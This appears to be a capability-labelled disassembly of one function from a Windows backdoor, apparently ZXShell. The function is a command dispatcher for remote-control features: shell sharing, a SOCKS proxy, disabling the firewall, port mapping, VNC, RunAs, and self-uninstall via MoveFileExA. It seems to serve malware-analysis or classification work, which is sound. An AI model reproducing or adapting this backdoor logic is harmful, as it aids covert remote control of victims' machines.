Function at 0x54506aa0
Capabilities:
Move file

Disassembly:
sub esp, 0x110
mov eax, dword [0x5454141c]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0x124]
push 0x103
lea eax, [esp + 0x19]
push 0
push eax
mov ebx, 1
mov byte [esp + 0x20], 0
call fcn.54516b80
lea ecx, [esp + 0x20]
push ecx
push 0x54531448
push edi
call fcn.54517c4e
mov esi, dword [esp + 0x138]
lea edx, [esp + 0x2c]
push 0x545315c6
push edx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], edi
call fcn.545240e4
add esp, 0x20
test eax, eax
jne 0x54506b23
push 0x54542c58
push 0x54533314
push esi
call fcn.54516060
jmp 0x54506db5
lea eax, [esp + 0x14]
push str.Help
push eax
call fcn.545240e4
add esp, 8
test eax, eax
je 0x54506d5b
lea ecx, [esp + 0x14]
push 0x54533308
push ecx
call fcn.545240e4
add esp, 8
test eax, eax
je 0x54506d5b
lea edx, [esp + 0x14]
push str.Exit
push edx
call fcn.545240e4
add esp, 8
test eax, eax
je 0x54506d41
lea eax, [esp + 0x14]
push str.Quit
push eax
call fcn.545240e4
add esp, 8
test eax, eax
je 0x54506d41
lea ecx, [esp + 0x14]
push str.Sysinfo
push ecx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506bac
push esi
call fcn.54508900
jmp 0x54506d61
lea edx, [esp + 0x14]
push 0x545332ec
push edx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506bd1
lea eax, [esp + 0xc]
push eax
call fcn.54505830
jmp 0x54506d61
lea ecx, [esp + 0x14]
push str.User
push ecx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506bf6
lea edx, [esp + 0xc]
push edx
call fcn.545056b0
jmp 0x54506d61
lea eax, [esp + 0x14]
push str.RunAs
push eax
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506c1b
lea ecx, [esp + 0xc]
push ecx
call fcn.545080e0
jmp 0x54506d61
lea edx, [esp + 0x14]
push str.GetCMD
push edx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506c40
lea eax, [esp + 0xc]
push eax
call fcn.54503210
jmp 0x54506d61
lea ecx, [esp + 0x14]
push str.ZXSockProxy
push ecx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506c6d
lea edx, [esp + 0xc]
push edx
push 0x5450a3e0
call fcn.54505fe0
add esp, 8
jmp 0x54506d64
lea eax, [esp + 0x14]
push str.ShareShell
push eax
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506c92
lea ecx, [esp + 0xc]
push ecx
call fcn.54506fb0
jmp 0x54506d61
lea edx, [esp + 0x14]
push str.CloseFW
push edx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506cb3
push esi
call fcn.54505010
jmp 0x54506d61
lea eax, [esp + 0x14]
push str.FileMG
push eax
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506cd9
push 1
push esi
call fcn.54506a00
add esp, 8
jmp 0x54506d64
lea ecx, [esp + 0x14]
push str.winvnc
push ecx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506cfc
push 6
push esi
call fcn.54506a00
add esp, 8
jmp 0x54506d64
lea edx, [esp + 0x14]
push str.rPortMap
push edx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506d1f
push 4
push esi
call fcn.54506a00
add esp, 8
jmp 0x54506d64
lea eax, [esp + 0x14]
push str.Remarks
push eax
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506d64
lea ecx, [esp + 0xc]
push ecx
call fcn.54505df0
jmp 0x54506d61
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.54516b6f
add esp, 0x110
ret
push esi
call fcn.54505fc0
add esp, 4
lea edx, [esp + 0x14]
push str.UnInstall
push edx
call fcn.545240e4
add esp, 8
test eax, eax
jne 0x54506da3
push 4
push eax
push 0x54542da0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x54506d95
xor ebx, ebx
push str.UnInstall_successfully._r_n
jmp 0x54506d9a
push str.Failed_To_UnInstall_._r_n
push esi
call fcn.54516060
add esp, 8
push 0x54542c58
push 0x54533314
push esi
call fcn.54516060
mov eax, ebx
mov ecx, dword [esp + 0x124]
add esp, 0xc
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.54516b6f
add esp, 0x110
ret